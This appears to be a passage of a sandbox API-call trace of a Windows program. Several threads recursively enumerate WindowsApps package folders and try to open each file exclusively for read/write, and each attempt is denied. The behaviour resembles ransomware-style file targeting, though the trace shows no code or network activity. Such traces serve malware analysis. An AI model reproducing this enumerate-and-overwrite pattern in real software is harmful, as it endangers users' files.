	[0077.432] wcscpy (in: _Dest=0x2e451c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.432] wcscat (in: _Dest=0x2e451c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.432] wcscat (in: _Dest=0x2e451c0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4746ae0
	[0077.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4746ae0 | out: lpFindFileData=0x4746ae0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8c685e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8c685e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8c685e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ad68
	[0084.937] wcscmp (_String1=".", _String2=".") returned 0
	[0084.937] FindNextFileW (in: hFindFile=0x477ad68, lpFindFileData=0x4746ae0 | out: lpFindFileData=0x4746ae0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8c685e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8c685e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8c685e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.937] wcscmp (_String1="..", _String2=".") returned 1
	[0084.937] wcscmp (_String1="..", _String2="..") returned 0
	[0084.937] FindNextFileW (in: hFindFile=0x477ad68, lpFindFileData=0x4746ae0 | out: lpFindFileData=0x4746ae0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8c685e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8c685e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8c685e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0084.938] FindClose (in: hFindFile=0x477ad68 | out: hFindFile=0x477ad68) returned 1
	[0084.938] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4746ae0) returned 1
	[0084.938] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e451c0) returned 1
	[0084.938] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34b68) returned 1

Thread:
	id = 529
	os_tid = 0x176c

	[0077.434] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0084.933] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0084.935] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0084.935] GetLastError () returned 0x5
	[0084.935] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0084.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34c80) returned 1

Thread:
	id = 530
	os_tid = 0x1770

	[0077.435] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0081.822] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0081.822] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.237] GetLastError () returned 0x5
	[0085.237] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0085.237] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317f0) returned 1

Thread:
	id = 531
	os_tid = 0x1774

	[0077.435] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0081.821] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.821] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.821] GetLastError () returned 0x5
	[0081.821] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.821] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f489d8) returned 1

Thread:
	id = 532
	os_tid = 0x1778

	[0077.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x47c81a0
	[0077.436] wcscpy (in: _Dest=0x47c81a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.436] wcscat (in: _Dest=0x47c81a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0077.436] wcscat (in: _Dest=0x47c81a0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0077.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4748c90
	[0077.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4748c90 | out: lpFindFileData=0x4748c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ef09035, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5edb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7ef09035, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d88038
	[0081.819] wcscmp (_String1=".", _String2=".") returned 0
	[0081.819] FindNextFileW (in: hFindFile=0x2d88038, lpFindFileData=0x4748c90 | out: lpFindFileData=0x4748c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ef09035, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5edb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7ef09035, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.819] wcscmp (_String1="..", _String2=".") returned 1
	[0081.819] wcscmp (_String1="..", _String2="..") returned 0
	[0081.819] FindNextFileW (in: hFindFile=0x2d88038, lpFindFileData=0x4748c90 | out: lpFindFileData=0x4748c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ef09035, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7ef554ec, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7ef554ec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0081.819] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0081.819] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0081.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x4772e50
	[0081.819] wcscpy (in: _Dest=0x4772e50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0081.819] wcscat (in: _Dest=0x4772e50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0081.819] wcscat (in: _Dest=0x4772e50, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.860] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.861] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.861] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.861] GetLastError () returned 0x5
	[0091.861] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.861] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772e50) returned 1
	[0091.861] FindNextFileW (in: hFindFile=0x2d88038, lpFindFileData=0x4748c90 | out: lpFindFileData=0x4748c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ef09035, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7ef554ec, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7ef554ec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.861] FindClose (in: hFindFile=0x2d88038 | out: hFindFile=0x2d88038) returned 1
	[0091.861] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4748c90) returned 1
	[0091.861] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c81a0) returned 1
	[0091.861] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8260) returned 1

Thread:
	id = 533
	os_tid = 0x177c

	[0077.436] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0081.827] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0081.827] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.238] GetLastError () returned 0x5
	[0085.238] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0085.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48b80) returned 1

Thread:
	id = 534
	os_tid = 0x1780

	[0077.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddad50
	[0077.437] wcscpy (in: _Dest=0x2ddad50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.437] wcscat (in: _Dest=0x2ddad50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0077.437] wcscat (in: _Dest=0x2ddad50, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0077.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4748ef8
	[0077.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x4748ef8 | out: lpFindFileData=0x4748ef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f2d055d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6bff9c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f8f31a9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d706c0
	[0079.441] wcscmp (_String1=".", _String2=".") returned 0
	[0079.441] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x4748ef8 | out: lpFindFileData=0x4748ef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f2d055d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6bff9c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f8f31a9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.442] wcscmp (_String1="..", _String2=".") returned 1
	[0079.442] wcscmp (_String1="..", _String2="..") returned 0
	[0079.442] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x4748ef8 | out: lpFindFileData=0x4748ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f2d055d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f2d055d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f2d055d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedAppList.scale-100.png", cAlternateFileName="")) returned 1
	[0079.442] wcscmp (_String1="GetStartedAppList.scale-100.png", _String2=".") returned 1
	[0079.442] wcscmp (_String1="GetStartedAppList.scale-100.png", _String2="..") returned 1
	[0079.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e3b2a0
	[0079.442] wcscpy (in: _Dest=0x2e3b2a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets"
	[0079.442] wcscat (in: _Dest=0x2e3b2a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0079.442] wcscat (in: _Dest=0x2e3b2a0, _Source="GetStartedAppList.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100.png"

Thread:
	id = 535
	os_tid = 0x1784

	[0077.438] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2ddae08
	[0077.438] wcscpy (in: _Dest=0x2ddae08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content"
	[0077.438] wcscat (in: _Dest=0x2ddae08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\"
	[0077.438] wcscat (in: _Dest=0x2ddae08, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\*"
	[0077.438] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47452d0
	[0077.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\*", lpFindFileData=0x47452d0 | out: lpFindFileData=0x47452d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c0da4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d880b8
	[0081.826] wcscmp (_String1=".", _String2=".") returned 0
	[0081.826] FindNextFileW (in: hFindFile=0x2d880b8, lpFindFileData=0x47452d0 | out: lpFindFileData=0x47452d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c0da4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.826] wcscmp (_String1="..", _String2=".") returned 1
	[0081.826] wcscmp (_String1="..", _String2="..") returned 0
	[0081.826] FindNextFileW (in: hFindFile=0x2d880b8, lpFindFileData=0x47452d0 | out: lpFindFileData=0x47452d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c1a05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop", cAlternateFileName="")) returned 1
	[0081.826] wcscmp (_String1="desktop", _String2=".") returned 1
	[0081.826] wcscmp (_String1="desktop", _String2="..") returned 1
	[0081.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x47cb670
	[0081.826] wcscpy (in: _Dest=0x47cb670, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content"
	[0081.826] wcscat (in: _Dest=0x47cb670, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\"
	[0081.826] wcscat (in: _Dest=0x47cb670, _Source="desktop" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop"
	[0091.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4926008
	[0091.802] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop"
	[0091.802] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\"
	[0091.802] wcscat (in: _Dest=0x4926008, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\*"
	[0091.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f498
	[0091.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\*", lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c1a05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4a8
	[0091.809] wcscmp (_String1=".", _String2=".") returned 0
